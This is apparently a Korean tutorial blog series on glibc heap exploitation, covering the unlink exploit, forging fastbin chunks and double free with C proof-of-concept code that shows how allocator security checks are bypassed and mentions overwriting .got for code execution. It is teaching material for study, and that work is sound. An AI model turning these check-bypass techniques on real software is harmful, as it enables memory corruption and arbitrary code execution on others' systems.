Unlink Exlpoit


Unlink 공격은 한때 꽤 흔했다. 그러나 두 가지 보안 검사가 unlink MACRO ("corrupted size vs. prev_size" 와 "corrupted double linked list" FD->bk != P || BK->fd != P )에 추가되어 공격의 영향을 어느 정도 줄였다.

그럼에도 불구하고, bin에서 chunk를 제거할때, unlink MACRO에서 수정된 포인터를 exploit한다.


struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};

unsigned long long *chunk1, *chunk2; 
struct chunk_structure *fake_chunk, *chunk2_hdr; 
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x80);        // Points to 0xa0e010
chunk2 = malloc(0x80);        // Points to 0xa0e0a0

// 공격자가 chunk1의 내용을 제어한다고 가정
// heap 오버플로우로 chunk2의 헤더가 덮힘

// 첫번째 수정한 fake chunk는 chunk1에서 시작함
// unlink security check을 우회하기 위해 fd와 bk 포인터를 설정해줘야함
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P 3 : 0x18
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P 2 : 0x10

// 모든 security check를 우회할 수 있도록 chunk2의 헤더를 수정한다.
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80;  // chunk1의 데이터 영역의 size
chunk2_hdr->size &= ~1;        // prev_inuse bit를 unsetting한다.

//chunk2가 free될때, 공격자의 fake chunk는 'unlink' 된다.
// chunk1의 포인터에 chunk1 - 3을 가리키는 포인터가 생성된다.
// i.e. chunk1[3]이 chunk1 자체가 포함됨
// 우리는 chunk1이 victim's data를 가리키도록 만든다.
free(chunk2);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;   // hex for "hacked!"

printf("%s\n", data);         // Prints "hacked!"


먼저, smallbin 범위에 속하는 0x80사이즈의 chunk1 과 chunk2을 malloc한다. 그 다음 공격자가 chunk1의 내용을 제어할 수 있다고 가정한다.(strcpy와 같은 안전하지 않은 user input 사용) 두 청크는 메모리상에 나란히 위치하게 되고 chunk1에 데이터부분에 fake_chunk를 생성한다. 그리고 "corrupted double-linked list" security check을 우회하기 위해 fd와 bk포인터를 조정한다. 그리고 chunk2의 헤더를 덮어 prev_size와 prev_inuse 비트를 수정한다. 이렇게 하면 chunk2가 해제 될 때 fake_chunk가 unlink된다. 



P ->fd -> bk == P 와 P -> bk -> fd == P check가 어떻게 pass되는가?

chunk2가 free되면, smallbin으로 간다. prev와 next chunk가  free되어있는지 아닌지 체크한다.

임의의 청크가 'free'로 탐지되면 연속적인 free 청크를 병합하기 위해 unlink된다.

unlink MACRO는 포인터를 수정하는 두가지 명령을 실행한다.


1. Set P -> fd -> bk = P -> bk

2. Set P -> bk -> fd = P -> bk


이 경우, P-> fd-> bk와 P-> bk-> fd는 같은 위치를 가리키고 있으므로 두 번째 업데이트 만 나타납니다. 다음 다이어그램은 chunk2가 해제 된 직후 두 번째 업데이트의 효과를 보여줍니다.



이제 chunk1은 (& chunk1-3)의 주소 (16 비트)를 가리킨다.

그러므로 chunk1 [3]은 실제로 chunk1이다. chunk1 [3] 변경은 chunk1을 변경하는 것과 같다.

침입자는 chunk1 자체 대신에 chunk1 (chunk1 [3]) 위치의 데이터를 업데이트 할 수있는 기회를 얻는다.

이 예제에서 chunk1은 'data'변수를 가리키게되고 chunk1을 통한 변경 사항은 해당 변수에 반영됩니다.


 .got 섹션을 덮어 쓰면 임의 코드가 실행됩니다.

'Heap' 카테고리의 다른 글

13.House of spirit  (0) 2018.06.20
12.Shrinking Free Chunks  (0) 2018.06.19
10.Forging chunks  (0) 2018.06.07
09.Double Free  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06

forging chunks


청크가 해제되면 binlist에 삽입되고 이후에도 포인터는 프로그램에서 계속 사용할 수 있다. 공격자가 이 포인터를 제어할 경우 bin에서 linked list 구조를 수정할 수 있고 임의의 위조된 청크를 삽입 할 수 있다. 


struct forged_chunk {
  size_t prev_size;
  size_t size;
  struct forged_chunk *fd;
  struct forged_chunk *bck;
  char buf[10];               // padding
};

// First grab a fast chunk
a = malloc(10);               // 'a' points to 0x219c010

// Create a forged chunk
struct forged_chunk chunk;    // At address 0x7ffc6de96690
chunk.size = 0x20;            // This size should fall in the same fastbin
data = (char *)&chunk.fd;     // Data starts here for an allocated chunk
strcpy(data, "attacker's data");

// Put the fast chunk back into fastbin
free(a);
// 위조된 청크를 가리키기 위해 'a'의 'fd'포인터를 수정한다.
*((unsigned long long *)a) = (unsigned long long)&chunk;
// Remove 'a' from HEAD of fastbin
// Our forged chunk will now be at the HEAD of fastbin
malloc(10);                   // Will return 0x219c010

victim = malloc(10);          // Points to 0x7ffc6de966a0
printf("%s\n", victim);       // Prints "attacker's data" !!

위조된 청크의 크기 변수는 "malloc() : memory corruption(fast)"를 우회하기 위해 0x20으로 설정되었다.

이 검사는 청크의 크기가 특정 fastbin의 범위에 해당되는지를 판별한다. 또한, 할당된 청크에 대한 데이터는 'fd' 포인터에서 시작된다.



1. 'a' free됨

head -> a -> tail

2. 'a'의 'fd'포인터가 'forged chunk'를 가리키게 수정됨

head -> a -> forged chunk -> undefined(forged chunk의 fd는 실제 공격자의 데이터를 보유)

3. 'malloc' 요청됨.

head -> forged chunk -> undefined

4. victim에 의한 'malloc' 요청

head -> undefined (forged chunk가 victim에 의해 리턴됨)


유의 : 

같은 bin list에 있는 fast chunk에 대한 'malloc'요청은  segmentation fault 오류를 일으킨다.

우리가 10bytes를 요청하고 위조된 덩어리의 크기를 32(0x20)바이트로 설정하더라도, 둘 다 32 바이트 덩어리의 동일한 fastbin의 범위에 속한다.

small과 large 청크에 대한 이 공격은 나중에 'House of Lore'로 보여줄 것이다.

위 예시 코드는 64bit용으로 설계되었다. 32bit에서 실행하려면 포인터가 8바이트대신 4바이트가 되므로 unsigned long long을 unsigned int로 바꾼다.

또한, forged chunk의 크기로 32bytes를 사용하는 대신 약 17bytes의 작은 크기가 작동한다.

'Heap' 카테고리의 다른 글

12.Shrinking Free Chunks  (0) 2018.06.19
11.Unlink Exploit  (0) 2018.06.11
09.Double Free  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06
07.Security Checks  (1) 2018.06.05

Double Free


리소스를 두번 이상 free하면 메모리 누수가 발생한다. allocator의 데이터 구조가 공격자에 의해서 손상되어 exploit 될 수 있다.

아래의 샘플 프로그램에서 fastbin chunk가 두 번 해제됩니다. glibc에 의한 'double free or corruption(fasttop)' security check을 피하기위해 두 free 사이에 다른 청크가 free된다. 

이것은 동일한 두개의 청크가 서로 다른 malloc에 의해 반환된다는 것을 의미한다.

아래에서 d 와 f 포인터는 동일한 메모리 주소를 가리킨다. d 나 f 둘 중 하나의 메모리 수정이 이루어지면 다양한 공격으로 이루어질 수 있다.


a = malloc(10);     // 0xa04010
b = malloc(10);     // 0xa04030
c = malloc(10);     // 0xa04050

free(a);
free(b);  // To bypass "double free or corruption (fasttop)" check
free(a);  // Double Free !!

d = malloc(10);     // 0xa04010
e = malloc(10);     // 0xa04030
f = malloc(10);     // 0xa04010   - Same as 'd' !

fastbin의 상태 : 

1. 'a' free됨

head -> a -> tail

2. 'b' free됨

head -> b -> a -> tail

3. 'a' 다시 free됨

head -> a -> b -> a -> tail

4. 'd' malloc요청

head -> b -> a -> tail  (a 공간 리턴)

5. 'e' malloc 요청

head -> a -> tail (b 공간 리턴)

6. 'f' malloc 요청

head -> tail (a 공간 리턴)


이제, 'd' 와 'f' 포인터는 같은 메모리 주소를 가리킨다. smallbin 범위에서 크기가 변경될 시 예제 작동 x

첫번째 free에서 next chunk의 prev_inuse 비트가 0으로 설정도니다. 두번째 free 과정에서 이 비트가 0이면 "double free or corruption(!prev)" 오류가 발생한다. 

'Heap' 카테고리의 다른 글

11.Unlink Exploit  (0) 2018.06.11
10.Forging chunks  (0) 2018.06.07
08.First-fit behavior  (0) 2018.06.06
07.Security Checks  (1) 2018.06.05
06.malloc 분석  (0) 2018.06.05

+ Recent posts